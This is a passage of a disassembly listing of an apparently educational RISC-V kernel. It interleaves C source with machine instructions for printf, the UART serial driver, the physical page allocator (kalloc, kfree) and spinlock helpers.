sp,sp,-192 80000576: fc86 sd ra,120(sp) 80000578: f8a2 sd s0,112(sp) 8000057a: f4a6 sd s1,104(sp) 8000057c: f0ca sd s2,96(sp) 8000057e: ecce sd s3,88(sp) 80000580: e8d2 sd s4,80(sp) 80000582: e4d6 sd s5,72(sp) 80000584: e0da sd s6,64(sp) 80000586: fc5e sd s7,56(sp) 80000588: f862 sd s8,48(sp) 8000058a: f466 sd s9,40(sp) 8000058c: f06a sd s10,32(sp) 8000058e: ec6e sd s11,24(sp) 80000590: 0100 addi s0,sp,128 80000592: 8a2a mv s4,a0 80000594: e40c sd a1,8(s0) 80000596: e810 sd a2,16(s0) 80000598: ec14 sd a3,24(s0) 8000059a: f018 sd a4,32(s0) 8000059c: f41c sd a5,40(s0) 8000059e: 03043823 sd a6,48(s0) 800005a2: 03143c23 sd a7,56(s0) locking = pr.locking; 800005a6: 00011d97 auipc s11,0x11 800005aa: c9adad83 lw s11,-870(s11) # 80011240 <pr+0x18> if(locking) 800005ae: 020d9b63 bnez s11,800005e4 <printf+0x70> if (fmt == 0) 800005b2: 040a0263 beqz s4,800005f6 <printf+0x82> va_start(ap, fmt); 800005b6: 00840793 addi a5,s0,8 800005ba: f8f43423 sd a5,-120(s0) for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 800005be: 000a4503 lbu a0,0(s4) 800005c2: 14050f63 beqz a0,80000720 <printf+0x1ac> 800005c6: 4981 li s3,0 if(c != '%'){ 800005c8: 02500a93 li s5,37 switch(c){ 800005cc: 07000b93 li s7,112 consputc('x'); 800005d0: 4d41 li s10,16 consputc(digits[x >> (sizeof(uint64) * 8 - 4)]); 800005d2: 00008b17 auipc s6,0x8 800005d6: a6eb0b13 addi s6,s6,-1426 # 80008040 <digits> switch(c){ 800005da: 07300c93 li s9,115 800005de: 06400c13 li s8,100 800005e2: a82d j 8000061c <printf+0xa8> acquire(&pr.lock); 800005e4: 00011517 auipc a0,0x11 800005e8: c4450513 addi a0,a0,-956 # 80011228 <pr> 800005ec: 00000097 auipc ra,0x0 800005f0: 5d6080e7 jalr 1494(ra) # 80000bc2 <acquire> 800005f4: bf7d j 800005b2 <printf+0x3e> panic("null fmt"); 800005f6: 00008517 auipc a0,0x8 800005fa: a3250513 addi a0,a0,-1486 # 80008028 <etext+0x28> 800005fe: 00000097 auipc ra,0x0 80000602: f2c080e7 jalr -212(ra) # 8000052a <panic> consputc(c); 80000606: 00000097 auipc ra,0x0 8000060a: c62080e7 jalr -926(ra) # 80000268 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 8000060e: 2985 addiw s3,s3,1 80000610: 013a07b3 add a5,s4,s3 80000614: 0007c503 lbu a0,0(a5) 80000618: 10050463 beqz a0,80000720 <printf+0x1ac> if(c != '%'){ 8000061c: ff5515e3 bne a0,s5,80000606 <printf+0x92> c = fmt[++i] & 0xff; 80000620: 2985 addiw s3,s3,1 80000622: 013a07b3 add a5,s4,s3 80000626: 0007c783 lbu a5,0(a5) 8000062a: 0007849b sext.w s1,a5 if(c == 0) 8000062e: cbed beqz a5,80000720 <printf+0x1ac> switch(c){ 80000630: 05778a63 beq a5,s7,80000684 <printf+0x110> 80000634: 02fbf663 bgeu s7,a5,80000660 <printf+0xec> 80000638: 09978863 beq a5,s9,800006c8 <printf+0x154> 8000063c: 07800713 li a4,120 80000640: 0ce79563 bne a5,a4,8000070a <printf+0x196> printint(va_arg(ap, int), 16, 1); 80000644: f8843783 ld a5,-120(s0) 80000648: 00878713 addi a4,a5,8 8000064c: f8e43423 sd a4,-120(s0) 80000650: 4605 li a2,1 80000652: 85ea mv a1,s10 80000654: 4388 lw a0,0(a5) 80000656: 00000097 auipc ra,0x0 8000065a: e32080e7 jalr -462(ra) # 80000488 <printint> break; 8000065e: bf45 j 8000060e <printf+0x9a> switch(c){ 80000660: 09578f63 beq a5,s5,800006fe <printf+0x18a> 80000664: 0b879363 bne a5,s8,8000070a <printf+0x196> printint(va_arg(ap, int), 10, 1); 80000668: f8843783 ld a5,-120(s0) 8000066c: 00878713 addi a4,a5,8 80000670: f8e43423 sd a4,-120(s0) 80000674: 4605 li a2,1 80000676: 45a9 li a1,10 80000678: 4388 lw a0,0(a5) 8000067a: 00000097 auipc ra,0x0 8000067e: e0e080e7 jalr -498(ra) # 80000488 <printint> break; 80000682: b771 j 8000060e <printf+0x9a> printptr(va_arg(ap, uint64)); 80000684: f8843783 ld a5,-120(s0) 80000688: 00878713 addi a4,a5,8 8000068c: f8e43423 sd a4,-120(s0) 80000690: 0007b903 ld s2,0(a5) consputc('0'); 80000694: 03000513 li a0,48 80000698: 00000097 auipc ra,0x0 8000069c: bd0080e7 jalr -1072(ra) # 80000268 <consputc> consputc('x'); 800006a0: 07800513 li a0,120 800006a4: 00000097 auipc ra,0x0 800006a8: bc4080e7 jalr -1084(ra) # 80000268 <consputc> 800006ac: 84ea mv s1,s10 consputc(digits[x >> (sizeof(uint64) * 8 - 4)]); 800006ae: 03c95793 srli a5,s2,0x3c 800006b2: 97da add a5,a5,s6 800006b4: 0007c503 lbu a0,0(a5) 800006b8: 00000097 auipc ra,0x0 800006bc: bb0080e7 jalr -1104(ra) # 80000268 <consputc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 800006c0: 0912 slli s2,s2,0x4 800006c2: 34fd addiw s1,s1,-1 800006c4: f4ed bnez s1,800006ae <printf+0x13a> 800006c6: b7a1 j 8000060e <printf+0x9a> if((s = va_arg(ap, char*)) == 0) 800006c8: f8843783 ld a5,-120(s0) 800006cc: 00878713 addi a4,a5,8 800006d0: f8e43423 sd a4,-120(s0) 800006d4: 6384 ld s1,0(a5) 800006d6: cc89 beqz s1,800006f0 <printf+0x17c> for(; *s; s++) 800006d8: 0004c503 lbu a0,0(s1) 800006dc: d90d beqz a0,8000060e <printf+0x9a> consputc(*s); 800006de: 00000097 auipc ra,0x0 800006e2: b8a080e7 jalr -1142(ra) # 80000268 <consputc> for(; *s; s++) 800006e6: 0485 addi s1,s1,1 800006e8: 0004c503 lbu a0,0(s1) 800006ec: f96d bnez a0,800006de <printf+0x16a> 800006ee: b705 j 8000060e <printf+0x9a> s = "(null)"; 800006f0: 00008497 auipc s1,0x8 800006f4: 93048493 addi s1,s1,-1744 # 80008020 <etext+0x20> for(; *s; s++) 800006f8: 02800513 li a0,40 800006fc: b7cd j 800006de <printf+0x16a> consputc('%'); 800006fe: 8556 mv a0,s5 80000700: 00000097 auipc ra,0x0 80000704: b68080e7 jalr -1176(ra) # 80000268 <consputc> break; 80000708: b719 j 8000060e <printf+0x9a> consputc('%'); 8000070a: 8556 mv a0,s5 8000070c: 00000097 auipc ra,0x0 80000710: b5c080e7 jalr -1188(ra) # 80000268 <consputc> consputc(c); 80000714: 8526 mv a0,s1 80000716: 00000097 auipc ra,0x0 8000071a: b52080e7 jalr -1198(ra) # 80000268 <consputc> break; 8000071e: bdc5 j 8000060e <printf+0x9a> if(locking) 80000720: 020d9163 bnez s11,80000742 <printf+0x1ce> } 80000724: 70e6 ld ra,120(sp) 80000726: 7446 ld s0,112(sp) 80000728: 74a6 ld s1,104(sp) 8000072a: 7906 ld s2,96(sp) 8000072c: 69e6 ld s3,88(sp) 8000072e: 6a46 ld s4,80(sp) 80000730: 6aa6 ld s5,72(sp) 80000732: 6b06 ld s6,64(sp) 80000734: 7be2 ld s7,56(sp) 80000736: 7c42 ld s8,48(sp) 80000738: 7ca2 ld s9,40(sp) 8000073a: 7d02 ld s10,32(sp) 8000073c: 6de2 ld s11,24(sp) 8000073e: 6129 addi sp,sp,192 80000740: 8082 ret release(&pr.lock); 80000742: 00011517 auipc a0,0x11 80000746: ae650513 addi a0,a0,-1306 # 80011228 <pr> 8000074a: 00000097 auipc ra,0x0 8000074e: 52c080e7 jalr 1324(ra) # 80000c76 <release> } 80000752: bfc9 j 80000724 <printf+0x1b0> 0000000080000754 <printfinit>: ; } void printfinit(void) { 80000754: 1101 addi sp,sp,-32 80000756: ec06 sd ra,24(sp) 80000758: e822 sd s0,16(sp) 8000075a: e426 sd s1,8(sp) 8000075c: 1000 addi s0,sp,32 initlock(&pr.lock, "pr"); 8000075e: 00011497 auipc s1,0x11 80000762: aca48493 addi s1,s1,-1334 # 80011228 <pr> 80000766: 00008597 auipc a1,0x8 8000076a: 8d258593 addi a1,a1,-1838 # 80008038 <etext+0x38> 8000076e: 8526 mv a0,s1 80000770: 00000097 auipc ra,0x0 80000774: 3c2080e7 jalr 962(ra) # 80000b32 <initlock> pr.locking = 1; 80000778: 4785 li a5,1 8000077a: cc9c sw a5,24(s1) } 8000077c: 60e2 ld ra,24(sp) 8000077e: 6442 ld s0,16(sp) 80000780: 64a2 ld s1,8(sp) 80000782: 6105 addi sp,sp,32 80000784: 8082 ret 0000000080000786 <uartinit>: void uartstart(); void uartinit(void) { 80000786: 1141 addi sp,sp,-16 80000788: e406 sd ra,8(sp) 8000078a: e022 sd s0,0(sp) 8000078c: 0800 addi s0,sp,16 // disable interrupts. WriteReg(IER, 0x00); 8000078e: 100007b7 lui a5,0x10000 80000792: 000780a3 sb zero,1(a5) # 10000001 <_entry-0x6fffffff> // special mode to set baud rate. WriteReg(LCR, LCR_BAUD_LATCH); 80000796: f8000713 li a4,-128 8000079a: 00e781a3 sb a4,3(a5) // LSB for baud rate of 38.4K. WriteReg(0, 0x03); 8000079e: 470d li a4,3 800007a0: 00e78023 sb a4,0(a5) // MSB for baud rate of 38.4K. WriteReg(1, 0x00); 800007a4: 000780a3 sb zero,1(a5) // leave set-baud mode, // and set word length to 8 bits, no parity. WriteReg(LCR, LCR_EIGHT_BITS); 800007a8: 00e781a3 sb a4,3(a5) // reset and enable FIFOs. WriteReg(FCR, FCR_FIFO_ENABLE | FCR_FIFO_CLEAR); 800007ac: 469d li a3,7 800007ae: 00d78123 sb a3,2(a5) // enable transmit and receive interrupts. WriteReg(IER, IER_TX_ENABLE | IER_RX_ENABLE); 800007b2: 00e780a3 sb a4,1(a5) initlock(&uart_tx_lock, "uart"); 800007b6: 00008597 auipc a1,0x8 800007ba: 8a258593 addi a1,a1,-1886 # 80008058 <digits+0x18> 800007be: 00011517 auipc a0,0x11 800007c2: a8a50513 addi a0,a0,-1398 # 80011248 <uart_tx_lock> 800007c6: 00000097 auipc ra,0x0 800007ca: 36c080e7 jalr 876(ra) # 80000b32 <initlock> } 800007ce: 60a2 ld ra,8(sp) 800007d0: 6402 ld s0,0(sp) 800007d2: 0141 addi sp,sp,16 800007d4: 8082 ret 00000000800007d6 <uartputc_sync>: // use interrupts, for use by kernel printf() and // to echo characters. it spins waiting for the uart's // output register to be empty. void uartputc_sync(int c) { 800007d6: 1101 addi sp,sp,-32 800007d8: ec06 sd ra,24(sp) 800007da: e822 sd s0,16(sp) 800007dc: e426 sd s1,8(sp) 800007de: 1000 addi s0,sp,32 800007e0: 84aa mv s1,a0 push_off(); 800007e2: 00000097 auipc ra,0x0 800007e6: 394080e7 jalr 916(ra) # 80000b76 <push_off> if(panicked){ 800007ea: 00009797 auipc a5,0x9 800007ee: 8167a783 lw a5,-2026(a5) # 80009000 <panicked> for(;;) ; } // wait for Transmit Holding Empty to be set in LSR. while((ReadReg(LSR) & LSR_TX_IDLE) == 0) 800007f2: 10000737 lui a4,0x10000 if(panicked){ 800007f6: c391 beqz a5,800007fa <uartputc_sync+0x24> for(;;) 800007f8: a001 j 800007f8 <uartputc_sync+0x22> while((ReadReg(LSR) & LSR_TX_IDLE) == 0) 800007fa: 00574783 lbu a5,5(a4) # 10000005 <_entry-0x6ffffffb> 800007fe: 0207f793 andi a5,a5,32 80000802: dfe5 beqz a5,800007fa <uartputc_sync+0x24> ; WriteReg(THR, c); 80000804: 0ff4f513 andi a0,s1,255 80000808: 100007b7 lui a5,0x10000 8000080c: 00a78023 sb a0,0(a5) # 10000000 <_entry-0x70000000> pop_off(); 80000810: 00000097 auipc ra,0x0 80000814: 406080e7 jalr 1030(ra) # 80000c16 <pop_off> } 80000818: 60e2 ld ra,24(sp) 8000081a: 6442 ld s0,16(sp) 8000081c: 64a2 ld s1,8(sp) 8000081e: 6105 addi sp,sp,32 80000820: 8082 ret 0000000080000822 <uartstart>: // called from both the top- and bottom-half. void uartstart() { while(1){ if(uart_tx_w == uart_tx_r){ 80000822: 00008797 auipc a5,0x8 80000826: 7e67b783 ld a5,2022(a5) # 80009008 <uart_tx_r> 8000082a: 00008717 auipc a4,0x8 8000082e: 7e673703 ld a4,2022(a4) # 80009010 <uart_tx_w> 80000832: 06f70a63 beq a4,a5,800008a6 <uartstart+0x84> { 80000836: 7139 addi sp,sp,-64 80000838: fc06 sd ra,56(sp) 8000083a: f822 sd s0,48(sp) 8000083c: f426 sd s1,40(sp) 8000083e: f04a sd s2,32(sp) 80000840: ec4e sd s3,24(sp) 80000842: e852 sd s4,16(sp) 80000844: e456 sd s5,8(sp) 80000846: 0080 addi s0,sp,64 // transmit buffer is empty. return; } if((ReadReg(LSR) & LSR_TX_IDLE) == 0){ 80000848: 10000937 lui s2,0x10000 // so we cannot give it another byte. // it will interrupt when it's ready for a new byte. return; } int c = uart_tx_buf[uart_tx_r % UART_TX_BUF_SIZE]; 8000084c: 00011a17 auipc s4,0x11 80000850: 9fca0a13 addi s4,s4,-1540 # 80011248 <uart_tx_lock> uart_tx_r += 1; 80000854: 00008497 auipc s1,0x8 80000858: 7b448493 addi s1,s1,1972 # 80009008 <uart_tx_r> if(uart_tx_w == uart_tx_r){ 8000085c: 00008997 auipc s3,0x8 80000860: 7b498993 addi s3,s3,1972 # 80009010 <uart_tx_w> if((ReadReg(LSR) & LSR_TX_IDLE) == 0){ 80000864: 00594703 lbu a4,5(s2) # 10000005 <_entry-0x6ffffffb> 80000868: 02077713 andi a4,a4,32 8000086c: c705 beqz a4,80000894 <uartstart+0x72> int c = uart_tx_buf[uart_tx_r % UART_TX_BUF_SIZE]; 8000086e: 01f7f713 andi a4,a5,31 80000872: 9752 add a4,a4,s4 80000874: 01874a83 lbu s5,24(a4) uart_tx_r += 1; 80000878: 0785 addi a5,a5,1 8000087a: e09c sd a5,0(s1) // maybe uartputc() is waiting for space in the buffer. wakeup(&uart_tx_r); 8000087c: 8526 mv a0,s1 8000087e: 00002097 auipc ra,0x2 80000882: ad4080e7 jalr -1324(ra) # 80002352 <wakeup> WriteReg(THR, c); 80000886: 01590023 sb s5,0(s2) if(uart_tx_w == uart_tx_r){ 8000088a: 609c ld a5,0(s1) 8000088c: 0009b703 ld a4,0(s3) 80000890: fcf71ae3 bne a4,a5,80000864 <uartstart+0x42> } } 80000894: 70e2 ld ra,56(sp) 80000896: 7442 ld s0,48(sp) 80000898: 74a2 ld s1,40(sp) 8000089a: 7902 ld s2,32(sp) 8000089c: 69e2 ld s3,24(sp) 8000089e: 6a42 ld s4,16(sp) 800008a0: 6aa2 ld s5,8(sp) 800008a2: 6121 addi sp,sp,64 800008a4: 8082 ret 800008a6: 8082 ret 00000000800008a8 <uartputc>: { 800008a8: 7179 addi sp,sp,-48 800008aa: f406 sd ra,40(sp) 800008ac: f022 sd s0,32(sp) 800008ae: ec26 sd s1,24(sp) 800008b0: e84a sd s2,16(sp) 800008b2: e44e sd s3,8(sp) 800008b4: e052 sd s4,0(sp) 800008b6: 1800 addi s0,sp,48 800008b8: 8a2a mv s4,a0 acquire(&uart_tx_lock); 800008ba: 00011517 auipc a0,0x11 800008be: 98e50513 addi a0,a0,-1650 # 80011248 <uart_tx_lock> 800008c2: 00000097 auipc ra,0x0 800008c6: 300080e7 jalr 768(ra) # 80000bc2 <acquire> if(panicked){ 800008ca: 00008797 auipc a5,0x8 800008ce: 7367a783 lw a5,1846(a5) # 80009000 <panicked> 800008d2: c391 beqz a5,800008d6 <uartputc+0x2e> for(;;) 800008d4: a001 j 800008d4 <uartputc+0x2c> if(uart_tx_w == uart_tx_r + UART_TX_BUF_SIZE){ 800008d6: 00008717 auipc a4,0x8 800008da: 73a73703 ld a4,1850(a4) # 80009010 <uart_tx_w> 800008de: 00008797 auipc a5,0x8 800008e2: 72a7b783 ld a5,1834(a5) # 80009008 <uart_tx_r> 800008e6: 02078793 addi a5,a5,32 800008ea: 02e79b63 bne a5,a4,80000920 <uartputc+0x78> sleep(&uart_tx_r, &uart_tx_lock); 800008ee: 00011997 auipc s3,0x11 800008f2: 95a98993 addi s3,s3,-1702 # 80011248 <uart_tx_lock> 800008f6: 00008497 auipc s1,0x8 800008fa: 71248493 addi s1,s1,1810 # 80009008 <uart_tx_r> if(uart_tx_w == uart_tx_r + UART_TX_BUF_SIZE){ 800008fe: 00008917 auipc s2,0x8 80000902: 71290913 addi s2,s2,1810 # 80009010 <uart_tx_w> sleep(&uart_tx_r, &uart_tx_lock); 80000906: 85ce mv a1,s3 80000908: 8526 mv a0,s1 8000090a: 00002097 auipc ra,0x2 8000090e: 8bc080e7 jalr -1860(ra) # 800021c6 <sleep> if(uart_tx_w == uart_tx_r + UART_TX_BUF_SIZE){ 80000912: 00093703 ld a4,0(s2) 80000916: 609c ld a5,0(s1) 80000918: 02078793 addi a5,a5,32 8000091c: fee785e3 beq a5,a4,80000906 <uartputc+0x5e> uart_tx_buf[uart_tx_w % UART_TX_BUF_SIZE] = c; 80000920: 00011497 auipc s1,0x11 80000924: 92848493 addi s1,s1,-1752 # 80011248 <uart_tx_lock> 80000928: 01f77793 andi a5,a4,31 8000092c: 97a6 add a5,a5,s1 8000092e: 01478c23 sb s4,24(a5) uart_tx_w += 1; 80000932: 0705 addi a4,a4,1 80000934: 00008797 auipc a5,0x8 80000938: 6ce7be23 sd a4,1756(a5) # 80009010 <uart_tx_w> uartstart(); 8000093c: 00000097 auipc ra,0x0 80000940: ee6080e7 jalr -282(ra) # 80000822 <uartstart> release(&uart_tx_lock); 80000944: 8526 mv a0,s1 80000946: 00000097 auipc ra,0x0 8000094a: 330080e7 jalr 816(ra) # 80000c76 <release> } 8000094e: 70a2 ld ra,40(sp) 80000950: 7402 ld s0,32(sp) 80000952: 64e2 ld s1,24(sp) 80000954: 6942 ld s2,16(sp) 80000956: 69a2 ld s3,8(sp) 80000958: 6a02 ld s4,0(sp) 8000095a: 6145 addi sp,sp,48 8000095c: 8082 ret 000000008000095e <uartgetc>: // read one input character from the UART. // return -1 if none is waiting. int uartgetc(void) { 8000095e: 1141 addi sp,sp,-16 80000960: e422 sd s0,8(sp) 80000962: 0800 addi s0,sp,16 if(ReadReg(LSR) & 0x01){ 80000964: 100007b7 lui a5,0x10000 80000968: 0057c783 lbu a5,5(a5) # 10000005 <_entry-0x6ffffffb> 8000096c: 8b85 andi a5,a5,1 8000096e: cb91 beqz a5,80000982 <uartgetc+0x24> // input data is ready. return ReadReg(RHR); 80000970: 100007b7 lui a5,0x10000 80000974: 0007c503 lbu a0,0(a5) # 10000000 <_entry-0x70000000> 80000978: 0ff57513 andi a0,a0,255 } else { return -1; } } 8000097c: 6422 ld s0,8(sp) 8000097e: 0141 addi sp,sp,16 80000980: 8082 ret return -1; 80000982: 557d li a0,-1 80000984: bfe5 j 8000097c <uartgetc+0x1e> 0000000080000986 <uartintr>: // handle a uart interrupt, raised because input has // arrived, or the uart is ready for more output, or // both. called from trap.c. void uartintr(void) { 80000986: 1101 addi sp,sp,-32 80000988: ec06 sd ra,24(sp) 8000098a: e822 sd s0,16(sp) 8000098c: e426 sd s1,8(sp) 8000098e: 1000 addi s0,sp,32 // read and process incoming characters. while(1){ int c = uartgetc(); if(c == -1) 80000990: 54fd li s1,-1 80000992: a029 j 8000099c <uartintr+0x16> break; consoleintr(c); 80000994: 00000097 auipc ra,0x0 80000998: 916080e7 jalr -1770(ra) # 800002aa <consoleintr> int c = uartgetc(); 8000099c: 00000097 auipc ra,0x0 800009a0: fc2080e7 jalr -62(ra) # 8000095e <uartgetc> if(c == -1) 800009a4: fe9518e3 bne a0,s1,80000994 <uartintr+0xe> } // send buffered characters. acquire(&uart_tx_lock); 800009a8: 00011497 auipc s1,0x11 800009ac: 8a048493 addi s1,s1,-1888 # 80011248 <uart_tx_lock> 800009b0: 8526 mv a0,s1 800009b2: 00000097 auipc ra,0x0 800009b6: 210080e7 jalr 528(ra) # 80000bc2 <acquire> uartstart(); 800009ba: 00000097 auipc ra,0x0 800009be: e68080e7 jalr -408(ra) # 80000822 <uartstart> release(&uart_tx_lock); 800009c2: 8526 mv a0,s1 800009c4: 00000097 auipc ra,0x0 800009c8: 2b2080e7 jalr 690(ra) # 80000c76 <release> } 800009cc: 60e2 ld ra,24(sp) 800009ce: 6442 ld s0,16(sp) 800009d0: 64a2 ld s1,8(sp) 800009d2: 6105 addi sp,sp,32 800009d4: 8082 ret 00000000800009d6 <kfree>: // which normally should have been returned by a // call to kalloc(). (The exception is when // initializing the allocator; see kinit above.) void kfree(void *pa) { 800009d6: 1101 addi sp,sp,-32 800009d8: ec06 sd ra,24(sp) 800009da: e822 sd s0,16(sp) 800009dc: e426 sd s1,8(sp) 800009de: e04a sd s2,0(sp) 800009e0: 1000 addi s0,sp,32 struct run *r; if(((uint64)pa % PGSIZE) != 0 || (char*)pa < end || (uint64)pa >= PHYSTOP) 800009e2: 03451793 slli a5,a0,0x34 800009e6: ebb9 bnez a5,80000a3c <kfree+0x66> 800009e8: 84aa mv s1,a0 800009ea: 00025797 auipc a5,0x25 800009ee: 61678793 addi a5,a5,1558 # 80026000 <end> 800009f2: 04f56563 bltu a0,a5,80000a3c <kfree+0x66> 800009f6: 47c5 li a5,17 800009f8: 07ee slli a5,a5,0x1b 800009fa: 04f57163 bgeu a0,a5,80000a3c <kfree+0x66> panic("kfree"); // Fill with junk to catch dangling refs. memset(pa, 1, PGSIZE); 800009fe: 6605 lui a2,0x1 80000a00: 4585 li a1,1 80000a02: 00000097 auipc ra,0x0 80000a06: 2bc080e7 jalr 700(ra) # 80000cbe <memset> r = (struct run*)pa; acquire(&kmem.lock); 80000a0a: 00011917 auipc s2,0x11 80000a0e: 87690913 addi s2,s2,-1930 # 80011280 <kmem> 80000a12: 854a mv a0,s2 80000a14: 00000097 auipc ra,0x0 80000a18: 1ae080e7 jalr 430(ra) # 80000bc2 <acquire> r->next = kmem.freelist; 80000a1c: 01893783 ld a5,24(s2) 80000a20: e09c sd a5,0(s1) kmem.freelist = r; 80000a22: 00993c23 sd s1,24(s2) release(&kmem.lock); 80000a26: 854a mv a0,s2 80000a28: 00000097 auipc ra,0x0 80000a2c: 24e080e7 jalr 590(ra) # 80000c76 <release> } 80000a30: 60e2 ld ra,24(sp) 80000a32: 6442 ld s0,16(sp) 80000a34: 64a2 ld s1,8(sp) 80000a36: 6902 ld s2,0(sp) 80000a38: 6105 addi sp,sp,32 80000a3a: 8082 ret panic("kfree"); 80000a3c: 00007517 auipc a0,0x7 80000a40: 62450513 addi a0,a0,1572 # 80008060 <digits+0x20> 80000a44: 00000097 auipc ra,0x0 80000a48: ae6080e7 jalr -1306(ra) # 8000052a <panic> 0000000080000a4c <freerange>: { 80000a4c: 7179 addi sp,sp,-48 80000a4e: f406 sd ra,40(sp) 80000a50: f022 sd s0,32(sp) 80000a52: ec26 sd s1,24(sp) 80000a54: e84a sd s2,16(sp) 80000a56: e44e sd s3,8(sp) 80000a58: e052 sd s4,0(sp) 80000a5a: 1800 addi s0,sp,48 p = (char*)PGROUNDUP((uint64)pa_start); 80000a5c: 6785 lui a5,0x1 80000a5e: fff78493 addi s1,a5,-1 # fff <_entry-0x7ffff001> 80000a62: 94aa add s1,s1,a0 80000a64: 757d lui a0,0xfffff 80000a66: 8ce9 and s1,s1,a0 for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE) 80000a68: 94be add s1,s1,a5 80000a6a: 0095ee63 bltu a1,s1,80000a86 <freerange+0x3a> 80000a6e: 892e mv s2,a1 kfree(p); 80000a70: 7a7d lui s4,0xfffff for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE) 80000a72: 6985 lui s3,0x1 kfree(p); 80000a74: 01448533 add a0,s1,s4 80000a78: 00000097 auipc ra,0x0 80000a7c: f5e080e7 jalr -162(ra) # 800009d6 <kfree> for(; p + PGSIZE <= (char*)pa_end; p += PGSIZE) 80000a80: 94ce add s1,s1,s3 80000a82: fe9979e3 bgeu s2,s1,80000a74 <freerange+0x28> } 80000a86: 70a2 ld ra,40(sp) 80000a88: 7402 ld s0,32(sp) 80000a8a: 64e2 ld s1,24(sp) 80000a8c: 6942 ld s2,16(sp) 80000a8e: 69a2 ld s3,8(sp) 80000a90: 6a02 ld s4,0(sp) 80000a92: 6145 addi sp,sp,48 80000a94: 8082 ret 0000000080000a96 <kinit>: { 80000a96: 1141 addi sp,sp,-16 80000a98: e406 sd ra,8(sp) 80000a9a: e022 sd s0,0(sp) 80000a9c: 0800 addi s0,sp,16 initlock(&kmem.lock, "kmem"); 80000a9e: 00007597 auipc a1,0x7 80000aa2: 5ca58593 addi a1,a1,1482 # 80008068 <digits+0x28> 80000aa6: 00010517 auipc a0,0x10 80000aaa: 7da50513 addi a0,a0,2010 # 80011280 <kmem> 80000aae: 00000097 auipc ra,0x0 80000ab2: 084080e7 jalr 132(ra) # 80000b32 <initlock> freerange(end, (void*)PHYSTOP); 80000ab6: 45c5 li a1,17 80000ab8: 05ee slli a1,a1,0x1b 80000aba: 00025517 auipc a0,0x25 80000abe: 54650513 addi a0,a0,1350 # 80026000 <end> 80000ac2: 00000097 auipc ra,0x0 80000ac6: f8a080e7 jalr -118(ra) # 80000a4c <freerange> } 80000aca: 60a2 ld ra,8(sp) 80000acc: 6402 ld s0,0(sp) 80000ace: 0141 addi sp,sp,16 80000ad0: 8082 ret 0000000080000ad2 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. void * kalloc(void) { 80000ad2: 1101 addi sp,sp,-32 80000ad4: ec06 sd ra,24(sp) 80000ad6: e822 sd s0,16(sp) 80000ad8: e426 sd s1,8(sp) 80000ada: 1000 addi s0,sp,32 struct run *r; acquire(&kmem.lock); 80000adc: 00010497 auipc s1,0x10 80000ae0: 7a448493 addi s1,s1,1956 # 80011280 <kmem> 80000ae4: 8526 mv a0,s1 80000ae6: 00000097 auipc ra,0x0 80000aea: 0dc080e7 jalr 220(ra) # 80000bc2 <acquire> r = kmem.freelist; 80000aee: 6c84 ld s1,24(s1) if(r) 80000af0: c885 beqz s1,80000b20 <kalloc+0x4e> kmem.freelist = r->next; 80000af2: 609c ld a5,0(s1) 80000af4: 00010517 auipc a0,0x10 80000af8: 78c50513 addi a0,a0,1932 # 80011280 <kmem> 80000afc: ed1c sd a5,24(a0) release(&kmem.lock); 80000afe: 00000097 auipc ra,0x0 80000b02: 178080e7 jalr 376(ra) # 80000c76 <release> if(r) memset((char*)r, 5, PGSIZE); // fill with junk 80000b06: 6605 lui a2,0x1 80000b08: 4595 li a1,5 80000b0a: 8526 mv a0,s1 80000b0c: 00000097 auipc ra,0x0 80000b10: 1b2080e7 jalr 434(ra) # 80000cbe <memset> return (void*)r; } 80000b14: 8526 mv a0,s1 80000b16: 60e2 ld ra,24(sp) 80000b18: 6442 ld s0,16(sp) 80000b1a: 64a2 ld s1,8(sp) 80000b1c: 6105 addi sp,sp,32 80000b1e: 8082 ret release(&kmem.lock); 80000b20: 00010517 auipc a0,0x10 80000b24: 76050513 addi a0,a0,1888 # 80011280 <kmem> 80000b28: 00000097 auipc ra,0x0 80000b2c: 14e080e7 jalr 334(ra) # 80000c76 <release> if(r) 80000b30: b7d5 j 80000b14 <kalloc+0x42> 0000000080000b32 <initlock>: #include "proc.h" #include "defs.h" void initlock(struct spinlock *lk, char *name) { 80000b32: 1141 addi sp,sp,-16 80000b34: e422 sd s0,8(sp) 80000b36: 0800 addi s0,sp,16 lk->name = name; 80000b38: e50c sd a1,8(a0) lk->locked = 0; 80000b3a: 00052023 sw zero,0(a0) lk->cpu = 0; 80000b3e: 00053823 sd zero,16(a0) } 80000b42: 6422 ld s0,8(sp) 80000b44: 0141 addi sp,sp,16 80000b46: 8082 ret 0000000080000b48 <holding>: // Interrupts must be off. int holding(struct spinlock *lk) { int r; r = (lk->locked && lk->cpu == mycpu()); 80000b48: 411c lw a5,0(a0) 80000b4a: e399 bnez a5,80000b50 <holding+0x8> 80000b4c: 4501 li a0,0 return r; } 80000b4e: 8082 ret { 80000b50: 1101 addi sp,sp,-32 80000b52: ec06 sd ra,24(sp) 80000b54: e822 sd s0,16(sp) 80000b56: e426 sd s1,8(sp) 80000b58: 1000 addi s0,sp,32 r = (lk->locked && lk->cpu == mycpu()); 80000b5a: 6904 ld s1,16(a0) 80000b5c: 00001097 auipc ra,0x1 80000b60: e1e080e7 jalr -482(ra) # 8000197a <mycpu> 80000b64: 40a48533 sub a0,s1,a0 80000b68: 00153513 seqz a0,a0 } 80000b6c: 60e2 ld ra,24(sp) 80000b6e: 6442 ld s0,16(sp) 80000b70: 64a2 ld s1,8(sp) 80000b72: 6105 addi sp,sp,32 80000b74: 8082 ret 0000000080000b76 <push_off>: // it takes two pop_off()s to undo two push_off()s. Also, if interrupts // are initially off, then push_off, pop_off leaves them off. void push_off(void) { 80000b76: 1101 addi sp,sp,-32 80000b78: ec06 sd ra,24(sp) 80000b7a: e822 sd s0,16(sp) 80000b7c: e426 sd s1,8(sp) 80000b7e: 1000 addi s0,sp,32 asm volatile("csrr %0, sstatus" : "=r" (x) ); 80000b80: 100024f3 csrr s1,sstatus 80000b84: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() & ~SSTATUS_SIE); 80000b88: 9bf5 andi a5,a5,-3 asm volatile("csrw sstatus, %0" : : "r" (x)); 80000b8a: 10079073 csrw sstatus,a5 int old = intr_get(); intr_off(); if(mycpu()->noff == 0) 80000b8e: 00001097 auipc ra,0x1 80000b92: 